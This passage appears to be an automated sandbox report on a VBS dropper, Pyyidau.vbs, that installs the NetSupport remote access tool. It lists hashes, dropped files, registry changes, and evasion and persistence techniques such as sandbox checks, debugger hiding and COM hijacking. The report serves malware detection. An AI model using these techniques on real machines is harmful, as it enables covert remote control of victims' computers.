Analysis
-
max time kernel
149s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
23-11-2024 01:36
Static task
static1
Behavioral task
behavioral1
Sample
Pyyidau.vbs
Resource
win7-20240708-en
windows7-x64
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
Pyyidau.vbs
Resource
win10v2004-20241007-en
windows10-2004-x64
29 signatures
150 seconds
General
-
Target
Pyyidau.vbs
-
Size
8.4MB
-
MD5
c1108260f7a287cb16f93c11a40fbf90
-
SHA1
8eab07aef27baae17d1ce013cce58b2b43dcaa1d
-
SHA256
484c7f54d1b5a6fbbb5cbcf0a01a3b7b9ddb77a7bfbd859cf68bb29b686db80c
-
SHA512
59d3023cc0287ff45894bbcce2175c8fda7a36b2f1687ab7b93fb49a578e38f874587bed0e3d69eff1a20deb4f20fc27c1155026bd962d007c9b0e8c028edc0c
-
SSDEEP
49152:1uld2u6UP5rpZxEeMuatPwmOI06dzq5kz9zV7AujEy4q7YcGqaLjt1yLQ+RZyBvd:+P5j
Malware Config
Signatures
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Netsupport family
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2044 2724 cmd.exe 83 -
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 3128 created 3500 3128 Pyyidau.vbs.exe 56 PID 3128 created 3500 3128 Pyyidau.vbs.exe 56 PID 3128 created 3500 3128 Pyyidau.vbs.exe 56 PID 3128 created 3500 3128 Pyyidau.vbs.exe 56 PID 3128 created 3500 3128 Pyyidau.vbs.exe 56 PID 3128 created 3500 3128 Pyyidau.vbs.exe 56 PID 3128 created 3500 3128 Pyyidau.vbs.exe 56 PID 3128 created 3500 3128 Pyyidau.vbs.exe 56 PID 3128 created 3500 3128 Pyyidau.vbs.exe 56 PID 3128 created 3500 3128 Pyyidau.vbs.exe 56 -
Blocklisted process makes network request 5 IoCs
flow pid Process 21 4000 WScript.exe 23 4000 WScript.exe 28 4000 WScript.exe 45 424 msiexec.exe 47 424 msiexec.exe -
Drops file in Drivers directory 2 IoCs
description ioc Process File created C:\Windows\system32\drivers\nskbfltr.sys winst64.exe File created C:\Windows\system32\drivers\nskbfltr2.sys winst64.exe -
Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\nskbfltr\ImagePath = "\\SystemRoot\\system32\\drivers\\nskbfltr.sys" MSI7E27.tmp -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation Pyyidau.vbs.exe -
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
-
Executes dropped EXE 11 IoCs
pid Process 3128 Pyyidau.vbs.exe 3668 MSI73AE.tmp 3412 MSI7878.tmp 3244 checkdvd.exe 2456 MSI7E27.tmp 4520 winst64.exe 3428 MSI852F.tmp 1592 client32.exe 1408 pcicfgui_client.exe 4672 client32.exe 4720 pcicfgui_client.exe -
Loads dropped DLL 64 IoCs
pid Process 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 3336 MsiExec.exe 2308 MsiExec.exe 2308 MsiExec.exe 2308 MsiExec.exe 2308 MsiExec.exe 4520 winst64.exe 2456 MSI7E27.tmp 2308 MsiExec.exe 2308 MsiExec.exe 2308 MsiExec.exe 1592 client32.exe 1592 client32.exe 1592 client32.exe 1592 client32.exe 1592 client32.exe 1592 client32.exe 1592 client32.exe 1592 client32.exe 1592 client32.exe 3336 MsiExec.exe 1408 pcicfgui_client.exe 1408 pcicfgui_client.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\B: client32.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: client32.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe -
Modifies WinLogon 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "0" MSI7E27.tmp -
Drops file in System32 directory 8 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 client32.exe File created C:\Windows\SysWOW64\pcimsg.dll MSI7E27.tmp File opened for modification C:\Windows\SysWOW64\pcimsg.dll MSI7E27.tmp File created C:\Windows\system32\client32provider.dll winst64.exe File opened for modification C:\Windows\system32\client32provider.dll winst64.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 client32.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE client32.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies client32.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 1408 pcicfgui_client.exe 1408 pcicfgui_client.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\NetSupport\NetSupport Manager\WINSTALL.EXE msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\remcmdstub.exe msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\TCCTL32.DLL msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-profile-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-datetime-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\_Data.lnk MSI7E27.tmp File created C:\Program Files (x86)\NetSupport\NetSupport Manager\nsmexec.exe msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-file-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\supporttool.exe msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\checkdvd.exe msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\PCIMSG.DLL msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\PCIVDD.DLL msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\pcictl.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\cpu2.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\keyboard2.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\toastImageAndText.png msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\toastMessage.png msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\libssl-1_1.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\Glzcsnlk_HW_U1.bin client32.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\nspscr.inf msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\disk2.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\logo.png msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\NSToast.exe msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\StoreInvDll.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\toastChat.png msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-debug-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\DBI.EXE msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\btn_down_grey.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\_Shared Data.lnk MSI7E27.tmp File created C:\Program Files (x86)\NetSupport\NetSupport Manager\mfc100.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-crt-locale-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-libraryloader-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\HTCTL32.DLL msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-crt-convert-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-sysinfo-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-handle-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\IcoViewer.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\amberbar.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\network2.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\nskbfltr.inf msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\pcicfgui_client.exe msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\pcicapi.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\nspscr.cat msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-file-l1-2-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\nsmres.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\product.dat msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\bar.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\verified.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Control.kbd msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\NSClientTB.exe msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\client32u.ini pcicfgui_client.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\VolumeControlWXP.DLL msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\video2.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\btn_up.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\greenbar.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\WdfCoInstaller01005.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-file-l2-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-errorhandling-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\PCICL32.DLL msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\Inv\unknown.gif msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\x64\gdihook5.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\IsMetro.exe msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-crt-process-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\NetSupport\NetSupport Manager\api-ms-win-core-string-l1-1-0.dll msiexec.exe -
Drops file in Windows directory 64 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSI6792.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7272.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7ACB.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8472.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6C1D.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7250.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7292.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI777B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8A9F.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6B84.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8EE7.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6752.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI684F.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6BB8.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6C41.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6C40.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7E27.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8EC6.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6B13.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6BA6.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6BD9.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6C0D.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6B73.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6BA7.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI70E5.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7210.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI77DA.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI77EA.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI828D.tmp msiexec.exe File created C:\Windows\Installer\e585ea5.msi msiexec.exe File created C:\Windows\Installer\SourceHash{CBB68368-7767-4CFF-B3E5-211488346702} msiexec.exe File opened for modification C:\Windows\Installer\MSI6A94.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6B85.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI733F.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6703.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI69F6.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6B62.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6BC8.tmp msiexec.exe File opened for modification C:\Windows\setupact.log MSI7E27.tmp File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI6BDA.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6BEA.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7261.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI6AB5.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6C2F.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7240.tmp msiexec.exe File opened for modification C:\Windows\setuperr.log MSI7E27.tmp File created C:\Windows\Installer\e585ea9.msi msiexec.exe File created C:\Windows\Installer\{CBB68368-7767-4CFF-B3E5-211488346702}\ARPPRODUCTICON.exe msiexec.exe File opened for modification C:\Windows\Installer\MSI8ED7.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI65D9.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6800.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI6C2E.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI71F0.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI735F.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI852F.tmp msiexec.exe File opened for modification C:\Windows\Installer\e585ea5.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI6BFB.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI7621.tmp msiexec.exe File opened for modification C:\Windows\Installer\{CBB68368-7767-4CFF-B3E5-211488346702}\ARPPRODUCTICON.exe msiexec.exe File opened for modification C:\Windows\Installer\MSI7878.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7670.tmp msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 15 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cscript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Pyyidau.vbs.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language pcicfgui_client.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSI73AE.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language checkdvd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSI852F.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language attrib.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSI7878.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSI7E27.tmp -
Checks SCSI registry key(s) 3 TTPs 24 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000 client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000 client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000 client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A client32.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A client32.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM client32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 client32.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 client32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz client32.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPublisher cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs cscript.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" client32.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates cscript.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\TELEPHONY\HANDOFFPRIORITIES\MEDIAMODES svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\powrprof.dll,-13 = "High performance" client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates client32.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust" cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs cscript.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E msiexec.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption" cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates cscript.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\powrprof.dll,-15 = "Balanced" client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities\MediaModes svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates cscript.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\CRLs cscript.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing cscript.exe Key created 